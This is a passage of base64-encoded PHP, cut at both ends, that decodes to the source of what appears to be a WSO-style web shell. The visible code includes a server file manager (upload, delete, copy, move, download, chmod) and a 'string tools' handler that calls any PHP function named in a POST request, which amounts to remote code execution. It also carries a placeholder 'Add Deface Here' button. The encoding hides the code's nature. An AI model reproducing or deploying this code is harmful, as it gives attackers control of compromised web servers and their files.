lcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25GaWxlc01hbigpIHsKICAgIHByaW50SGVhZGVyKCk7CiAgICBlY2hvICc8aDE+RmlsZSBtYW5hZ2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsKICAgICAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7CiAgICAgICAgICAgIGNhc2UgJ3VwbG9hZEZpbGUnOgogICAgICAgICAgICAgICAgaWYoIUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZiddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmJ11bJ25hbWUnXSkpCiAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ21rZGlyJzoKICAgICAgICAgICAgICAgIGlmKCFAbWtkaXIoJF9QT1NUWydwMiddKSkKICAgICAgICAgICAgICAgICAgICBlY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnZGVsZXRlJzoKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgewogICAgICAgICAgICAgICAgICAgICRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7CiAgICAgICAgICAgICAgICAgICAgJGRoICA9IG9wZW5kaXIoJHBhdGgpOwogICAgICAgICAgICAgICAgICAgIHdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtID0gJHBhdGguJGl0ZW07CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICggKGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuIikgKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHR5cGUgPT0gImRpciIpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRpdGVtKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgY2xvc2VkaXIoJGRoKTsKICAgICAgICAgICAgICAgICAgICBybWRpcigkcGF0aCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZihpc19hcnJheShAJF9QT1NUWydmJ10pKQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGYgPSB1cmxkZWNvZGUoJGYpOwogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVsZXRlRGlyKCRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ3Bhc3RlJzoKICAgICAgICAgICAgICAgIGlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ2NvcHknKSB7CiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gY29weV9wYXN0ZSgkYywkcywkZCl7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkYy4kcykpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJGQuJHMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBvcGVuZGlyKCRjLiRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRjLiRzLCAkZC4kcyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikKICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkX1NFU1NJT05bJ2N3ZCddLCRmLCAkR0xPQkFMU1snY3dkJ10pOyAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB9IGVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICdtb3ZlJykgewogICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIG1vdmVfcGFzdGUoJGMsJHMsJGQpewogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGMuJHMpKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCRkLiRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gb3BlbmRpcigkYy4kcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY29weSgkYy4kcywgJGQuJHMpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpCiAgICAgICAgICAgICAgICAgICAgICAgIEByZW5hbWUoJF9TRVNTSU9OWydjd2QnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHVuc2V0KCRfU0VTU0lPTlsnZiddKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgKCgkX1BPU1RbJ3AxJ10gPT0gJ2NvcHknKXx8KCRfUE9TVFsncDEnXSA9PSAnbW92ZScpKSApIHsKICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2FjdCddID0gQCRfUE9TVFsncDEnXTsKICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2YnXTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRrID0+ICRmKQogICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXVska10gPSB1cmxkZWNvZGUoJGYpOwogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnY3dkJ10gPSBAJF9QT1NUWydjJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgZWNobyAnPHNjcmlwdD5kb2N1bWVudC5tZi5wMS52YWx1ZT0iIjtkb2N1bWVudC5tZi5wMi52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgfQogICAgJGRpckNvbnRlbnQgPSBAc2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsKICAgIGlmKCRkaXJDb250ZW50ID09PSBmYWxzZSkgeyAgICBlY2hvICdDYW5cJ3Qgb3BlbiB0aGlzIGZvbGRlciEnOyByZXR1cm47ICAgIH0KICAgIGdsb2JhbCAkc29ydDsKICAgICRzb3J0ID0gYXJyYXkoJ25hbWUnLCAxKTsKICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgaWYocHJlZ19tYXRjaCgnIXNfKFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ3AxJ10sICRtYXRjaCkpCiAgICAgICAgICAgICRzb3J0ID0gYXJyYXkoJG1hdGNoWzFdLCAoaW50KSRtYXRjaFsyXSk7CiAgICB9CiAgICBlY2hvICc8c2NyaXB0PgogICAgICAgIGZ1bmN0aW9uIHNhKCkgewogICAgICAgICAgICBmb3IoaT0wO2k8ZG9jdW1lbnQuZmlsZXMuZWxlbWVudHMubGVuZ3RoO2krKykKICAgICAgICAgICAgaWYoZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbaV0udHlwZSA9PSBcJ2NoZWNrYm94XCcpCiAgICAgICAgICAgICAgICBkb2N1bWVudC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkID0gZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbMF0uY2hlY2tlZDsKICAgICAgICB9CiAgICAgICAgPC9zY3JpcHQ+CiAgICAgICAgPHRhYmxlIHdpZHRoPVwnMTAwJVwnIGNsYXNzPVwnbWFpblwnIGNlbGxzcGFjaW5nPVwnMFwnIGNlbGxwYWRkaW5nPVwnMlwnPgogICAgICAgIDxmb3JtIG5hbWU9ZmlsZXMgbWV0aG9kPXBvc3Q+JzsKICAgIGVjaG8gIjx0cj48dGggd2lkdGg9JzEzcHgnPjxpbnB1dCB0eXBlPWNoZWNrYm94IG9uY2xpY2s9J3NhKCknIGNsYXNzPWNoa2J4PjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX25hbWVfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5OYW1lPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3NpemVfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5TaXplPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX21vZGlmeV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk1vZGlmeTwvYT48L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3Blcm1zXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+UGVybWlzc2lvbnM8L2E+PC90aD48dGg+QWN0aW9uczwvdGg+PC90cj4iOwogICAgJGRpcnMgPSAkZmlsZXMgPSAkbGlua3MgPSBhcnJheSgpOwogICAgJG4gPSBjb3VudCgkZGlyQ29udGVudCk7CiAgICBmb3IoJGk9MDskaTwkbjskaSsrKSB7CiAgICAgICAgJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7CiAgICAgICAgJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7CiAgICAgICAgJHRtcCA9IGFycmF5KCduYW1lJyA9PiAkZGlyQ29udGVudFskaV0sCiAgICAgICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldLAogICAgICAgICAgICAgICAgICAgICAnbW9kaWZ5JyA9PiBAZGF0ZSgnWS1tLWQgSDppOnMnLEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpLAogICAgICAgICAgICAgICAgICAgICAncGVybXMnID0+IHZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLAogICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLAogICAgICAgICAgICAgICAgICAgICAnb3duZXInID0+ICRvd1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwKICAgICAgICAgICAgICAgICAgICAgJ2dyb3VwJyA9PiAkZ3JbJ25hbWUnXT8kZ3JbJ25hbWUnXTpAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgIGlmKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKQogICAgICAgICAgICAkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsKICAgICAgICBlbHNlaWYoQGlzX2xpbmsoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpCiAgICAgICAgICAgICRsaW5rc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJykpOwogICAgICAgIGVsc2VpZihAaXNfZGlyKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pJiYgKCRkaXJDb250ZW50WyRpXSAhPSAiLiIpKQogICAgICAgICAgICAkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7CiAgICB9CiAgICAkR0xPQkFMU1snc29ydCddID0gJHNvcnQ7CiAgICBmdW5jdGlvbiBjbXAoJGEsICRiKSB7CiAgICAgICAgaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpCiAgICAgICAgICAgIHJldHVybiBzdHJjbXAoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0sICRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKICAgICAgICBlbHNlCiAgICAgICAgICAgIHJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6ZSddKSA/IC0xIDogMSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7CiAgICB9CiAgICB1c29ydCgkZmlsZXMsICJjbXAiKTsKICAgIHVzb3J0KCRkaXJzLCAiY21wIik7CiAgICB1c29ydCgkbGlua3MsICJjbXAiKTsKICAgICRmaWxlcyA9IGFycmF5X21lcmdlKCRkaXJzLCAkbGlua3MsICRmaWxlcyk7CiAgICAkbCA9IDA7CiAgICBmb3JlYWNoKCRmaWxlcyBhcyAkZikgewogICAgICAgIGVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSInLnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwnLFwnJy4kZlsncGF0aCddLidcJyk7Ij48Yj5bICcuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKS4nIF08L2I+JykuJzwvYT48L3RkPjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT92aWV3U2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10uJzwvdGQ+PHRkPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLFwnY2htb2RcJykiPicuJGZbJ3Blcm1zJ10KICAgICAgICAgICAgLic8L3RkPjx0ZD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwncmVuYW1lXCcpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndG91Y2hcJykiPlQ8L2E+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZWRpdFwnKSI+RTwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8L3RkPjwvdHI+JzsKICAgICAgICAkbCA9ICRsPzA6MTsKICAgIH0KICAgIGVjaG8gJzx0cj48dGQgY29sc3Bhbj01PgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT1cJ0ZpbGVzTWFuXCc+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CiAgICA8c2VsZWN0IG5hbWU9XCdwMVwnPjxvcHRpb24gdmFsdWU9XCdjb3B5XCc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCdtb3ZlXCc+TW92ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCdkZWxldGVcJz5EZWxldGU8L29wdGlvbj4nOwogICAgaWYoIWVtcHR5KCRfU0VTU0lPTlsnYWN0J10pJiZAY291bnQoJF9TRVNTSU9OWydmJ10pKXtlY2hvICc8b3B0aW9uIHZhbHVlPVwncGFzdGVcJz5QYXN0ZTwvb3B0aW9uPic7IH0KICAgIGVjaG8gJzwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSI+PiI+PC90ZD48dGQgY29sc3Bhbj0iMiIgYWxpZ249InJpZ2h0IiB3aWR0aD0iMSI+PGlucHV0IG5hbWU9ImRlZiIgdmFsdWU9IkNvbW1pbmcgU29vbiEhISIgZGlzYWJsZWQ9ImRpc2FibGVkIi8+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkFkZCBEZWZhY2UgSGVyZSIgZGlzYWJsZWQ9ImRpc2FibGVkIj48L3RkPjwvdHI+CiAgICA8L2Zvcm0+PC90YWJsZT48L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uU3RyaW5nVG9vbHMoKSB7CiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHtmdW5jdGlvbiBoZXgyYmluKCRwKSB7cmV0dXJuIGRlY2JpbihoZXhkZWMoJHApKTt9fQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkrPTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFskaSsxXSkpO31yZXR1cm4gJHI7fX0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2FzY2lpMmhleCcpKSB7ZnVuY3Rpb24gYXNjaWkyaGV4KCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSBkZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZnVsbF91cmxlbmNvZGUnKSkge2Z1bmN0aW9uIGZ1bGxfdXJsZW5jb2RlKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSAnJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0KICAgIAogICAgaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7CiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOwogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCRfUE9TVFsncDEnXSkpCiAgICAgICAgICAgIGVjaG8gJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSk7CiAgICAgICAgJHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLmlubmVySFRNTD0nIi5hZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7CiAgICAgICAgZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsKICAgICAgICBleGl0OwogICAgfQogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5TdHJpbmcgY29udmVyc2lvbnM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgJHN0cmluZ1Rvb2xzID0gYXJyYXkoCiAgICAgICAgJ0Jhc2U2NCBlbmNvZGUnID0+ICdiYXNlNjRfZW5jb2RlJywKICAgICAgICAnQmFzZTY0IGRlY29kZScgPT4gJ2Jhc2U2NF9kZWNvZGUnLAogICAgICAgICdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywKICAgICAgICAnVXJsIGRlY29kZScgPT4gJ3VybGRlY29kZScsCiAgICAgICAgJ0Z1bGwgdXJsZW5jb2RlJyA9PiAnZnVsbF91cmxlbmNvZGUnLAogICAgICAgICdtZDUgaGFzaCcgPT4gJ21kNScsCiAgICAgICAgJ3NoYTEgaGFzaCcgPT4gJ3NoYTEnLAogICAgICAgICdjcnlwdCcgPT4gJ2NyeXB0JywKICAgICAgICAnQ1JDMzInID0+ICdjcmMzMicsCiAgICAgICAgJ0FTQ0lJIHRvIEhFWCcgPT4gJ2FzY2lpMmhleCcsCiAgICAgICAgJ0hFWCB0byBBU0NJSScgPT4gJ2hleDJhc2NpaScsCiAgICAgICAgJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLAogICAgICAgICdIRVggdG8gQklOJyA9PiAnaGV4MmJpbicsCiAgICAgICAgJ0RFQyB0byBIRVgnID0+ICdkZWNoZXgnLAogICAgICAgICdERUMgdG8gQklOJyA9PiAnZGVjYmluJywKICAgICAgICAnQklOIHRvIEhFWCcgPT4gJ2JpbjJoZXgnLAogICAgICAgICdCSU4gdG8gREVDJyA9PiAnYmluZGVjJywgICAgICAgIAogICAgICAgICdTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRvbG93ZXInLAogICAgICAgICdTdHJpbmcgdG8gdXBwZXIgY2FzZScgPT4gJ3N0cnRvdXBwZXInLAogICAgICAgICdIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsCiAgICAgICAgJ1N0cmluZyBsZW5ndGgnID0+ICdzdHJsZW4nLAogICAgKTsKICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsKICAgIGVjaG8gIjxmb3JtIG5hbWU9J3Rvb2xzRm9ybScgb25TdWJtaXQ9J2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO30gcmV0dXJuIGZhbHNlOyc+PHNlbGVjdCBuYW1lPSdzZWxlY3RUb29sJz4iOwogICAgZm9yZWFjaCgkc3RyaW5nVG9vbHMgYXMgJGsgPT4gJHYpCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJz4iLiRrLiI8L29wdGlvbj4iOwogICAgICAgIGVjaG8gIjwvc2VsZWN0PjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+PicvPiA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAiLigkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLiI+IHNlbmQgdXNpbmcgQUpBWDxicj48dGV4dGFyZWEgbmFtZT0naW5wdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9YmlnYXJlYT4iLmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsncDInXSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7CiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygkX1BPU1RbJ3AxJ10pKQogICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKSk7CiAgICB9CiAgICBlY2hvIjwvcHJlPjwvZGl2PiI7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25GaWxlc1Rvb2xzKCkgewogICAgaWYoIGlzc2V0KCRfUE9TVFsncDEnXSkgKQogICAgICAgICRfUE9TVFsncDEnXSA9IHVybGRlY29kZSgkX1BPU1RbJ3AxJ10pOwogICAgaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgewogICAgICAgIGlmKGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOwogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJtaW1lX2NvbnRlbnRfdHlwZSIpKSB7CiAgICAgICAgICAgICAgICAkdHlwZSA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOwogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6ICIuJHR5cGUpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICJyIik7CiAgICAgICAgICAgIGlmKCRmcCkgewogICAgICAgICAgICAgICAgd2hpbGUoIUBmZW9mKCRmcCkpCiAgICAgICAgICAgICAgICAgICAgZWNobyBAZnJlYWQoJGZwLCAxMDI0KTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYoaXNfZGlyKCRfUE9TVFsncDEnXSkgJiYgaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgewoKICAgICAgICB9CiAgICAgICAgZXhpdDsKICAgIH0KICAgIGlmKCBAJF9QT1NUWydwMiddID09ICdta2ZpbGUnICkgewogICAgICAgIGlmKCFmaWxlX2